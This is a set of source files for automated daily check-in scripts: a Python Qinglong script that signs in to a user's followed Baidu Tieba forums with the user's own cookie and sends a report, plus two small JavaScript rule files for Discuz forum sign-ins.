console.log('\n💡 定时任务建议:');
console.log(' 格式: 0 0-23/6 * * *');
console.log(' 说明: 每6小时执行一次');
console.log(' 时间: 0:00, 6:00, 12:00, 18:00');
console.log('\n========================================\n');
}
main().catch(console.error);

View File

@@ -0,0 +1,333 @@
# Source: https://github.com/CN-Grace/QinglongScripts/blob/main/Tieba.py
# Raw: https://raw.githubusercontent.com/CN-Grace/QinglongScripts/main/Tieba.py
# Repo: CN-Grace/QinglongScripts
# Path: Tieba.py
# UploadedAt: 2026-05-23T15:48:24Z
# SHA256: 9b1ac22330324c1b5579826fd6202a49e6e4aa857d1819be3cd7073dd7c092c2
# Category: web版/账密
# Evidence: web/H5关键词 + username/password/login
#!/usr/bin/env python3
"""
cron: 0 0 * * *
new Env("百度贴吧签到")
百度贴吧 每日自动签到脚本
- 获取用户登录状态
- 获取关注的贴吧列表(含等级、经验值)
- 对每个贴吧进行签到
- 统计签到结果和等级分布
"""
import hashlib
import os
import random
import time
import requests
from typing import Optional, List, Dict, Any
from utils import log_info, log_success, log_warning, log_error, beijing_time_str
from notifier import send as notify_send
# ==================== 用户配置 ====================
TIEBA_COOKIE = os.environ.get("TIEBA_COOKIE", "")
def create_session(cookie: str) -> requests.Session:
"""创建带 Cookie 的 requests.Session贴吧专用 User-Agent 和 Host"""
session = requests.Session()
session.headers.update({
"Host": "tieba.baidu.com",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36",
"Connection": "keep-alive",
"Accept-Encoding": "gzip, deflate",
"Cache-Control": "no-cache",
})
cookie_dict = {item.split("=")[0]: item.split("=")[1] for item in cookie.split("; ") if "=" in item}
requests.utils.add_dict_to_cookiejar(session.cookies, cookie_dict)
return session
def encode_data(data: Dict, sign_key: str = "tiebaclient!!!") -> Dict:
"""对请求数据进行签名"""
s = ""
for key in sorted(data.keys()):
s += f"{key}={data[key]}"
sign = hashlib.md5((s + sign_key).encode("utf-8")).hexdigest().upper()
data.update({"sign": sign})
return data
def request(session: requests.Session, url: str, method: str = "get", data: Optional[Dict] = None, retry: int = 3) -> Dict:
"""带重试的请求函数"""
for i in range(retry):
try:
if method.lower() == "get":
response = session.get(url, timeout=10)
else:
response = session.post(url, data=data, timeout=10)
response.raise_for_status()
if not response.text.strip():
raise ValueError("空响应内容")
return response.json()
except Exception as e:
if i == retry - 1:
raise Exception(f"请求失败: {e!s}")
wait_time = 1.5 * (2 ** i) + random.uniform(0, 1)
time.sleep(wait_time)
raise Exception(f"请求失败,已达最大重试次数 {retry}")
# ---------- 核心功能 ----------
def get_user_info(session: requests.Session) -> tuple:
"""获取用户登录信息,返回 (tbs, user_name) 或 (False, 错误信息)"""
try:
result = request(session, "http://tieba.baidu.com/dc/common/tbs")
if result.get("is_login", 0) == 0:
return False, "登录失败Cookie 异常"
tbs = result.get("tbs", "")
try:
user_info = request(session, "https://tieba.baidu.com/f/user/json_userinfo")
user_data = user_info.get("data", "")
user_name = user_data.get("show_nickname", "未知用户") if isinstance(user_data, dict) else "未知用户"
except Exception:
user_name = "未知用户"
return tbs, user_name
except Exception as e:
return False, f"登录验证异常: {e}"
def get_favorite(session: requests.Session, bduss: str) -> List[Dict]:
"""获取用户关注的贴吧列表,包含等级信息"""
forums = []
page_no = 1
like_url = "http://c.tieba.baidu.com/c/f/forum/like"
while True:
data = encode_data({
"BDUSS": bduss,
"_client_type": "2",
"_client_id": "wappc_1534235498291_488",
"_client_version": "9.7.8.0",
"_phone_imei": "000000000000000",
"from": "1008621y",
"page_no": str(page_no),
"page_size": "200",
"model": "MI+5",
"net_type": "1",
"timestamp": str(int(time.time())),
"vcode_tag": "11",
})
try:
res = request(session, like_url, "post", data)
if "forum_list" in res:
for forum_type in ["non-gconforum", "gconforum"]:
if forum_type in res["forum_list"]:
items = res["forum_list"][forum_type]
if isinstance(items, list):
for f in items:
f["_is_signed"] = (forum_type == "gconforum")
forums.extend(items)
elif isinstance(items, dict):
items["_is_signed"] = (forum_type == "gconforum")
forums.append(items)
if res.get("has_more") != "1":
break
page_no += 1
time.sleep(random.uniform(1, 2))
except Exception as e:
log_error(f"获取贴吧列表出错: {e}")
break
log_info(f"共获取到 {len(forums)} 个关注的贴吧")
return forums
def build_level_summary(forums: List[Dict]) -> Dict:
"""从贴吧列表中提取等级汇总"""
total_exp = 0
level_stats = {}
forum_levels = []
for f in forums:
name = f.get("name", "")
level_id = int(f.get("level_id", 0))
cur_score = int(f.get("cur_score", 0))
levelup_score = int(f.get("levelup_score", 0))
total_exp += cur_score
if level_id not in level_stats:
level_stats[level_id] = {"count": 0, "total_exp": 0}
level_stats[level_id]["count"] += 1
level_stats[level_id]["total_exp"] += cur_score
forum_levels.append({
"name": name,
"level_id": level_id,
"cur_score": cur_score,
"levelup_score": levelup_score,
"exp_percent": round(cur_score / levelup_score * 100, 1) if levelup_score > 0 else 0,
})
sorted_levels = sorted(level_stats.items(), key=lambda x: x[0], reverse=True)
return {
"forum_count": len(forums),
"total_exp": total_exp,
"level_stats": sorted_levels,
"forum_levels": forum_levels,
}
def sign_forums(session: requests.Session, bduss: str, forums: List[Dict], tbs: str) -> Dict[str, Any]:
"""对贴吧列表进行签到"""
success_count = 0
error_count = 0
exist_count = 0
shield_count = 0
total = len(forums)
details = []
log_info(f"开始签到 {total} 个贴吧")
base_data = {
"_client_type": "2",
"_client_version": "9.7.8.0",
"_phone_imei": "000000000000000",
"model": "MI+5",
"net_type": "1",
}
last_request_time = time.time()
for idx, forum in enumerate(forums):
elapsed = time.time() - last_request_time
delay = max(0, 1.0 + random.uniform(0.5, 1.5) - elapsed)
time.sleep(delay)
last_request_time = time.time()
if (idx + 1) % 10 == 0:
extra_delay = random.uniform(5, 10)
log_info(f"已签到 {idx + 1}/{total} 个贴吧,休息 {extra_delay:.2f}")
time.sleep(extra_delay)
forum_name = forum.get("name", "")
forum_id = forum.get("id", "")
level_id = forum.get("level_id", "?")
log_prefix = f"{forum_name}】吧(Lv.{level_id})({idx + 1}/{total})"
try:
data = base_data.copy()
data.update({"BDUSS": bduss, "fid": forum_id, "kw": forum_name, "tbs": tbs, "timestamp": str(int(time.time()))})
data = encode_data(data)
result = request(session, "http://c.tieba.baidu.com/c/c/forum/sign", "post", data)
error_code = result.get("error_code", "")
rank = None
if error_code == "0":
success_count += 1
if "user_info" in result:
rank = result["user_info"].get("user_sign_rank")
log_success(f"{log_prefix} 签到成功,第{rank}个签到" if rank else f"{log_prefix} 签到成功")
else:
log_success(f"{log_prefix} 签到成功")
details.append({"name": forum_name, "status": "success", "rank": rank, "level": level_id})
elif error_code == "160002":
exist_count += 1
log_warning(f"{log_prefix} {result.get('error_msg', '今日已签到')}")
details.append({"name": forum_name, "status": "exist", "rank": None, "level": level_id})
elif error_code == "340006":
shield_count += 1
log_warning(f"{log_prefix} 贴吧已被屏蔽")
details.append({"name": forum_name, "status": "shield", "rank": None, "level": level_id})
else:
error_count += 1
log_error(f"{log_prefix} 签到失败,错误: {result.get('error_msg', '未知错误')}")
details.append({"name": forum_name, "status": "error", "rank": None, "level": level_id})
except Exception as e:
error_count += 1
log_error(f"{log_prefix} 签到异常: {e!s}")
details.append({"name": forum_name, "status": "error", "rank": None, "level": level_id})
return {"total": total, "success": success_count, "exist": exist_count, "shield": shield_count, "error": error_count, "details": details}
def build_report(stats: Dict, user_name: str, details: List[Dict], level_summary: Optional[Dict] = None) -> str:
"""构建签到报告"""
lines = ["📢 百度贴吧 签到报告", "", f"👤 账号: {user_name}", ""]
lines.append("📊 签到统计")
lines.append(f"📌 贴吧总数: {stats['total']}")
lines.append(f"✅ 签到成功: {stats['success']}")
lines.append(f"⚠️ 已经签到: {stats['exist']}")
lines.append(f"🚫 被屏蔽的: {stats['shield']}")
lines.append(f"❌ 签到失败: {stats['error']}")
if level_summary:
lines.append("")
lines.append("🎯 等级汇总")
lines.append(f"📈 总经验值: {level_summary['total_exp']:,}")
top_levels = level_summary["level_stats"][:5]
level_dist = " | ".join([f"Lv.{lv}: {info['count']}个吧" for lv, info in top_levels])
lines.append(f"🏅 等级分布: {level_dist}")
if details:
lines.append("")
lines.append("📋 详细签到情况")
for d in details:
name = d["name"]
status = d["status"]
rank = d.get("rank")
level = d.get("level", "?")
if status == "success":
emoji = ""
rank_text = f" (第{rank}个)" if rank else ""
elif status == "exist":
emoji = "⚠️"; rank_text = ""
elif status == "shield":
emoji = "🚫"; rank_text = ""
else:
emoji = ""; rank_text = ""
lines.append(f"{emoji} {name} Lv.{level}{rank_text}")
lines.append("")
lines.append("" * 18)
lines.append(f"🕒 执行时间: {beijing_time_str()}")
return "\n".join(lines)
def main() -> Dict:
"""主流程"""
cookie_dict = {item.split("=")[0]: item.split("=")[1] for item in TIEBA_COOKIE.split("; ") if "=" in item}
bduss = cookie_dict.get("BDUSS", "")
if not bduss:
log_error("Cookie 中未找到 BDUSS请检查配置")
return {"user_name": "未知", "stats": {"total": 0, "success": 0, "exist": 0, "shield": 0, "error": 0}, "details": [], "level_summary": None}
session = create_session(TIEBA_COOKIE)
tbs, user_name = get_user_info(session)
if not tbs:
log_error(user_name)
return {"user_name": "登录失败", "stats": {"total": 0, "success": 0, "exist": 0, "shield": 0, "error": 0}, "details": [], "level_summary": None}
log_success(f"登录成功,用户名: {user_name}")
forums = get_favorite(session, bduss=bduss)
if not forums:
log_warning("未获取到任何贴吧,请检查 Cookie 或网络")
return {"user_name": user_name, "stats": {"total": 0, "success": 0, "exist": 0, "shield": 0, "error": 0}, "details": [], "level_summary": None}
level_summary = build_level_summary(forums)
log_info(f"总经验值: {level_summary['total_exp']:,},最高等级: Lv.{level_summary['level_stats'][0][0] if level_summary['level_stats'] else '?'}")
result = sign_forums(session, bduss, forums, tbs)
log_info(f"签到完成: 总数 {result['total']},成功 {result['success']},已签 {result['exist']},屏蔽 {result['shield']},失败 {result['error']}")
return {"user_name": user_name, "stats": result, "details": result["details"], "level_summary": level_summary}
if __name__ == "__main__":
result = main()
if result:
report = build_report(result["stats"], result["user_name"], result["details"], result.get("level_summary"))
notify_send("百度贴吧 签到报告", report)

View File

@@ -0,0 +1,29 @@
// # Source: https://github.com/Wenmoux/checkbox/blob/master/scripts/jlpzj.js
// # Raw: https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/jlpzj.js
// # Repo: Wenmoux/checkbox
// # Path: scripts/jlpzj.js
// # UploadedAt: 2021-09-25T00:15:59Z
// # SHA256: 52215fbc79f20602170c62df0017e76a341162af743bb8e459141e249d1f2f37
// # Category: web版/账密
// # Evidence: web/H5关键词 + username/password/login
//
const rules = {
name: "【纪录片之家】: ",
url: "http://www.jlpzj.net/plugin.php?id=dsu_paulsign:sign&mobile=2", //用于获取formhash的链接
cookie: config.jlpzj.cookie,
formhash: 'formhash=(.+)"', //formhash正则
verify: "您需要先登录才能继续本操作", //验证cookie状态
op: [{
name: "签到",
method: "post", //签到请求方式 get/post
url: "http://www.jlpzj.net/plugin.php?id=dsu_paulsign:sign&operation=qiandao&infloat=0&inajax=0&mobile=yes", //签到链接
data: "formhash=@formhash&qdxq=kx&qmode=3&todaysay=&fastreply=0"
}]
};
async function jlpzj() {
const template = require("../Template");
return rules.name + await template(rules)
}
module.exports = jlpzj

View File

@@ -0,0 +1,35 @@
// # Source: https://github.com/Wenmoux/checkbox/blob/master/scripts/qmj.js
// # Raw: https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/qmj.js
// # Repo: Wenmoux/checkbox
// # Path: scripts/qmj.js
// # UploadedAt: 2021-10-04T11:58:52Z
// # SHA256: eaedf8062aee0a296d103fcb892f519d757704aaaebd1093361270da8f77322a
// # Category: web版/账密
// # Evidence: web/H5关键词 + username/password/login
//
const rules = {
name: "【阡陌居】: ",
cookie: config.qmj.cookie,
url: "http://www.1050qm.com/plugin.php?id=dsu_paulsign:sign&operation=qiandao&infloat=0&inajax=0&mobile=yes", //用于获取formhash的链接
formhash: 'formhash=(.+?)\&', //formhash正则
verify: "您需要先登录才能继续本操作", //验证cookie状态
op: [{
name: "签到",
method: "post",
url: "http://www.1050qm.com/plugin.php?id=dsu_paulsign:sign&operation=qiandao&infloat=0&inajax=0", //签到链接
data: "formhash=@formhash&qdxq=wl"
},
{
name: "申请威望红包任务",
ua: "pc",
charset: "gb2312",
method: "get",
url: "http://www.1000qm.vip/home.php?mod=task&do=apply&id=1"
}]
};
async function togamemod() {
const template = require("../Template");
return rules.name + await template(rules)
}
module.exports = togamemod